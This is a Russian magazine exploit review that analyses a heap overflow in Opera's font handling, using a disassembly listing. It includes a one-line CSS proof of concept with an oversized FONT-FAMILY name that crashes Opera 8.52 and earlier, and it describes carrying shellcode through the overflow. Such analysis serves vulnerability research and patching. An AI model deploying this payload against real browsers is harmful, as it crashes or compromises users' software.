Обзор эксплойтов Крис Касперски ака мыщъх Хакер, номер #091, стр. 091-060-7 Листинг 8: переполняющая строка передается функции, обрабатывающей шрифты. Это позволяет предположить, что строка представляет собой имя шрифта .text:67B8CD10 sub_67B8CD10 proc near .text:67B8CD5C FF 74 24 14 push [esp+0Ch+arg_0] ; передаем «свой» аргумент .text:67B8CD60 E8 D3 FE FF FF call sub_67B8CC38 ; подфункции sub_67B8CC38 ; // дизассемблерный листинг подфункции sub_67B8CC38 .text:67B8CC38 sub_67B8CC38 proc near ; CODE XREF: sub_67B8CB3C:loc_67B8CBA5? .text:67B8CC38 ; sub_67B8CD10+50?p ... .text:67B8CC38 .text:67B8CC38 arg_0 = dword ptr 8 .text:67B8CC38 .text:67B8CC38 56 push esi .text:67B8CC39 8B 74 24 08 mov esi, [esp+arg_0] .text:67B8CC3D 68 94 24 F5 67 push offset aSerif ; "SERIF" .text:67B8CC42 56 push esi .text:67B8CC43 E8 3D 30 0A 00 call sub_67C2FC85 ; обработка шрифта .text:67B8CC48 59 pop ecx .text:67B8CC49 85 C0 test eax, eax .text:67B8CC4B 59 pop ecx .text:67B8CC4C 74 04 jz short loc_67B8CC52 .text:67B8CC4E 33 C0 xor eax, eax .text:67B8CC50 5E pop esi .text:67B8CC51 C3 retn .text:67B8CC52 .text:67B8CC52 loc_67B8CC52: ; CODE XREF: sub_67B8CC38+14?j .text:67B8CC52 68 88 24 F5 67 push offset aSansSerif_0 ; "SANS-SERIF" .text:67B8CC57 56 push esi .text:67B8CC58 E8 28 30 0A 00 call sub_67C2FC85 ; обработка шрифта .text:67B8CC5D 59 pop ecx .text:67B8CC5E 85 C0 test eax, eax .text:67B8CC60 59 pop ecx .text:67B8CC61 74 05 jz short loc_67B8CC68 .text:67B8CC63 6A 01 push 1 .text:67B8CC65 .text:67B8CC65 loc_67B8CC65: ; CODE XREF: sub_67B8CC38+43?j .text:67B8CC65 ; sub_67B8CC38+58?j .text:67B8CC65 58 pop eax .text:67B8CC66 5E pop esi .text:67B8CC67 C3 retn .text:67B8CC68 .text:67B8CC68 loc_67B8CC68: ; CODE XREF: sub_67B8CC38+29?j .text:67B8CC68 68 80 24 F5 67 push offset aFantasy ; "FANTASY" .text:67B8CC6D 56 push esi .text:67B8CC6E E8 12 30 0A 00 call sub_67C2FC85 ; обработка шрифта Имена шрифтов сразу же бросаются в глаза. Ага! Значит, эта функция управляет стилем оформления страницы, загружая соответствующий шрифт. И это хорошо, потому что шрифты мы можем принудительно менять через CSS. Главное, чтобы длина имени шрифта (необязательно реально существующего, вполне сойдет и фиктивный) превышала 32 Кб. Вместе с именем может быть передан shell-код, который пойдет гулять по куче (динамической памяти), основательно ее затирая. А технику переполнения кучи мы уже неоднократно рассматривали в прошлых номерах хакера. Ниже приведен код простейшего exploit'а, «роняющего» Оперу версий 8.52 и более младших (впрочем, атака может не сработать, если CSS отключен): <STYLE type=text/css>A { FONT-FAMILY: 35000x'A' } </STYLE> Это код простейшего CSS-exploit'а вызывающий обрушение Оперы. Для ликвидации уязвимости необходимо скачать новую версию Оперы или ликвидировать дыру собственными руками! Действительно, зачем перекачивать несколько мегабайт по модему, переустанавливать и т. д., когда нас и текущая версия вполне устраивает. Как известно, с каждой новой версией программное обеспечение все толстеет и толстеет, становится неповоротливым, не принося никаких существенно новых фич. |